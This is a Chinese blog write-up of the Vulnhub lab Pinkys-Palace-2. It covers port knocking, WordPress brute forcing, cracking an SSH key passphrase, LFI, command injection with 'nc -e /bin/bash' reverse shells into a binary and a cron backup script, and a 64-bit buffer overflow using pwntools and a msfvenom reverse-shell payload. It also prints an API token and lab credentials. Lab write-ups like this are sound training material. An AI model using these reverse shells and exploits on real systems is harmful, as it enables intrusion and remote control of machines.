【甄选靶场】Vulnhub百个项目渗透——项目二十七:Pinkys-Palace-2(LFI,端口敲震,ssh爆破,64位缓冲区溢出)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目二十七:Pinkys-Palace-2(LFI,端口敲震,ssh爆破,64位缓冲区溢出)

靶场地址


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月30日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、web突破

信息收集

发现开启了80和3个关闭的端口,关闭的端口想到端口敲震

在这里插入图片描述

对web页面访问,发现这是一个wp站

在这里插入图片描述

作者说靶场需要执行命令加一个host:
echo 192.168.247.158 pinkydb | sudo tee -a /etc/hosts

先用awvs和wpscan扫一下

在这里插入图片描述
dirb爆破

dirb http://pinkydb/ /usr/share/dirb/wordlists/big.txt

出来了一个wp的后台登陆页面,接下来想知道账号密码

在这里插入图片描述
wpscan扫描

wpscan --url http://pinkydb/ -eu --api-token FcYxHGcLoHeQBE1dgySYBdHmAaQjynt7iIa1qsRG4fs

在这里插入图片描述

dirb继续爆,发现

在这里插入图片描述

http://pinkydb/wp-login.php ----后台登录地址
http://pinkydb/secret/ ----存在bambam.txt文件

在这里插入图片描述

8890 7000 666
一看这玩意就是端口敲震,那就敲呗
pinkydb

但是这个顺序不对,反正一共9种可能,配合上nmap -p- 试试就行

在这里插入图片描述

nmap -p4655,7654,31337 192.168.247.158 -A
4655/tcp  open  ssh     OpenSSH 7.4p1   ---ssh登录
7654/tcp  open  http    nginx 1.10.3    ---nginx中间件服务
31337/tcp open  Elite?    这是一个头部信息

接下来又是僵局,只剩下一个ssh爆破或者ngnix的网站服务,先看看好进行的nginx
在这里插入图片描述

这里还看到了下面写的31337可能是我们的后门,但是不能访问,就先放着,但估计最后·突破点是这个31337的端口服务

二次爆破目录

有了新的web第一件事就是爆破目录
继续dirb爆破7654端口!

dirb http://pinkydb:7654/ /usr/share/dirb/wordlists/big.txt
发现apache目录!

枚举页面:curl http://192.168.247.158:7654/apache/wp-config.php
获取数据库信息
/** MySQL database username */
define('DB_USER', 'pinkywp');

/** MySQL database password */
define('DB_PASSWORD', 'pinkydbpass_wp');

数据库用户名密码泄露!!通过ssh、后台登录页面都无法进入,也未开启3306端口!
在这里插入图片描述

稍微捋捋现在有的信息
一组账号密码:pinkywp pinkydbpass_wp
还有一个单独的账号 pinky1337
还有ssh,一个wp的登陆页面,一个nginx的登陆页面(可能可以爆破和sql注入),还有很多的东西在登录到wp之后应该可以提权,ssh可能可以爆破,

爆破登录

bp抓包,账号未知,不敢确定之前那个pinky123是账号
用cewl爬取页面

cewl http://pinkydb > 1.txt

在这里插入图片描述

不同的响应码,不同的长度
爆破成功

在这里插入图片描述

看到一个什么玩意的rsa,那就拿这个登录呗

在这里插入图片描述

搞到本地

在这里插入图片描述

这tm是什么鬼。。。。。。rsa还有密码

john暴力破解ssh:
locate ssh2john.py
/usr/share/john/ssh2john.py id_rsa > rong_rsa     这是把rsa的HASH信息提取出来
john --wordlist=/usr/share/wordlists/rockyou.txt rong_rsa
无脑用rockyou即可
secretz101       (id_rsa)
成功爆破获得密码信息!


三、提权

1.第一台提权

在这里插入图片描述
在这里插入图片描述
看到一个note.txt

Pinky made me this program so I can easily send messages to him.
还有一个qsub的64位二进制可执行文件,但是我们没有权限用它,也传不出来,gdb也没有,ls -la发现这个玩意也没啥权限。。。。。那就试试内核提权,那就上传linpeas.sh和les.sh

在这里插入图片描述

python -m SimpleHTTPServer 8081
wget http://192.168.4.171:8081/linpeas.sh
chmod +x linpeas.sh

1)存在用户:
demon、pinky、stefano
2127.0.0.1:3306
pinkywp
pinkydbpass_wp
mysql -upinkywp -ppinkydbpass_wp
里面也没有啥有用的信息

在这里插入图片描述
在这里插入图片描述

然后那个可执行文件执行以下是这样,这肯定是特殊设置了,我熄灭的希望之火又重新燃烧开了。,但是目前没思路了。根据别的大佬写的WP,我发现在这里我忽视了一个点。。。LFI

LFI利用

这个url其实很显眼,但是我当时拿到了key我就没管了。所以这个事故告诉我们,少就是多,慢就是快

在这里插入图片描述

?1337=…/…/…/…/…/etc/passwd
发现可以
那就访问一下那个qsub文件
?1337=/home/stefano/tools/qsub

在这里插入图片描述在这里插入图片描述

/bin/echo %s >> /home/pinky/messages/stefano_msg.txt%s TERM[+] Input
Password: %sBad hacker! Go away![+] Welcome to Question Submit![!]
Incorrect Password!

翻译一下,就是把一个什么玩意输入到了一个txt文件,然后密码是TERM好像,然后咋样就输出你是一个坏黑客,或者说欢迎登录

那基本判断出这里可以远程代码执行,然后密码就是TERM
但是我构造了这样的一种输入

./qsub '$(nc -e /bin/bash 192.168.247.129 9999)'

密码是TERM,
但是显示我是个坏黑客?
那就是密码不对应该,因为坏黑客是验证密码环节。咱们一开始的命令没错

谷歌了一下

term是终端
xterm 是图形界面baivirtual terminal

virtual terminal
,是一个协议,一个接bai口,用于在各种连接du环境中提zhi供如同本机控制台dao一样的界面,文字操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。

在这里插入图片描述

那密码是这个?我咋这么不相信
但是,成功了
当然了本地也要开端口接shell
nc -vlp 9999

2.第二台提权

首先就是手工的信息枚举

id
ls -la
cd ../..
ls -la
sudo -l
find /-perm -4000 2>/dev/null
find / -name 'pinky' 2>/dev/null |grep -v "Permission Denied/|poc"
find / -group 'pinky' 2>/dev/null 
还有好多,我感觉可以写一个命令合集
然后再跑脚本,只发现了开了3306的数据库口子,但是账号密码我们都拿到了,就没去看

在这里插入图片描述

首先先看一下上一个机器里面qsub文件输出的东西去哪了,发现是一段话,鼓励

在这里插入图片描述

id发现用户权限不足啊,而且很奇怪,可能是自己的权限被隐藏了

newgrp

在这里插入图片描述

出来了

在这里插入图片描述

最高权限运行的没有

在这里插入图片描述

发现了按pinky组权限运行的文件,backup是备份的意思,在linpeas.sh跑都会被标红的那种

在这里插入图片描述

ls -la 发现这是个另外一个用户的权限,之前跑脚本也跑出来了还有一个用户,那就先利用这个拿到另外一个用户的shell吧

看一下这是个什么牛马,简单分析一下就是删除当前压缩包然后再压缩一个包,那这必须是个计划任务,定期备份

在这里插入图片描述

我跟个傻子一样直接打开想修改,结果shell不行,我直接头裂。。
推荐下面的命令

echo "nc -e /bin/bash 192.168.247.129 6666" >> backup.sh
两个>是写到尾巴,一个>是覆盖,有时候可能会那个啥
本地开启6666接shell
拿到手以后稳定一下
python -c 'import pty; pty.spawn("/bin/bash")'
注意,要么就去那个back.sh目录下执行命令,要么就写绝对路径
我这坑了好久

在这里插入图片描述

拿到shell了

crontab -l
查看一下计划任务
cron之前写过,就是计划任务

在这里插入图片描述

确实存在一个五分钟的计划任务

3.第三台机器提权

id
ls -la
cd ../..
ls -la
sudo -l
find /-perm -4000 2>/dev/null
find / -name 'demon' 2>/dev/null |grep -v "Permission Denied/|poc"
find / -group 'demon' 2>/dev/null 
还有好多,我感觉可以写一个命令合集

在这里插入图片描述
脚本跑出来的信息,这个panel文件有问题

16K -rwxr-x--- 1 demon demon  13K Mar 17  2018 /daemon[0m/panel
-rwxr-x---  1 demon demon 13280 Mar 17  2018 panel
ps aux | grep panel

发现是root运行,那就妥了,应该是最后一关了

在这里插入图片描述

nc传文件
kail执行命令:nc -lvp 4666 > panel

靶机执行命令:nc 192.168.16.143 4666 < panel

缓冲区溢出利用

1. 先运行一下,看看能干吗

发现能任意输入
在这里插入图片描述

2.查看是否拥有可用于缓冲区溢出的函数
info functions

在这里插入图片描述

发现了strcpy函数

3. gdb 中run一下,看看信息

在这里插入图片描述

但是看到了上面这一段信息,看到是一个开进程啥的,这个时候应该想到到目前为止很大嫌疑但是不知道是干嘛的31337端口
为了验证猜想

pkill -9 panel; pkill -i panel   --强制关闭文件

netstat -ntulp    查看端口情况
看到我们也确实开了一个31337端口,那就实锤了,这个文件开启的服务就是31337,那接下来我们要干的事就是在我们本地的31337测试

在这里插入图片描述

4. 判断能否溢出
nc -v localhost 31337

输入一堆,发现程序报错

5.找溢出点
pkill -9 panel; pkill -i panel  --先关闭,每次执行完最好都强制关一次,防止出错
gdb中输入pattern_creat 200
出现如下,找stack(堆)的第一条,注意不要复制/n后面的信息
然后pattern_offset 【粘贴】
得到溢出位置是120

在这里插入图片描述
在这里插入图片描述

6.验证填充情况
from pwn import *  --要先pip install pwn装组件
HOST, PORT = "localhost", 31337
payload = ''
payload += 'A'*120
payload += 'BBBB0000'
payload += 'C'*30

r = remote(HOST,PORT)
r.recvuntil("=> ")
r.sendline(payload)

这里要说一下,因为是64位系统,所以会优先寻找寄存器,所以在做最终payload的时候就不需要B了
在这里插入图片描述
但是我们同时也看到python执行有报错,类型不符,这个一会再处理
在这里插入图片描述

7.寻找jmp rsp

在这里插入图片描述
那么这个地址就是我们放在RIP中的地址,可以跳转到payload

8. 生成反弹payload

这里其实是有小小的缺陷的,我没有找坏字符,只是简单的排除了三个肯定是坏字符的坏字符

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.247.129 LPORT=9898 -b '\x00\x0a\x0b' -f python

在这两个刚才报错的前面加个b,代表强制全转成byte

然后第二个payload之所以这样写是为了用几个A把msf生成的payload剩下的RBP空间填满,不然还会有空的地方,导致RIP的不是JMP RSP

在这里插入图片描述

然后运行一下,看到我们的kali没有开外连,所以给shell,然后接下来我们吧py的host改一下,再跑就ok了

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值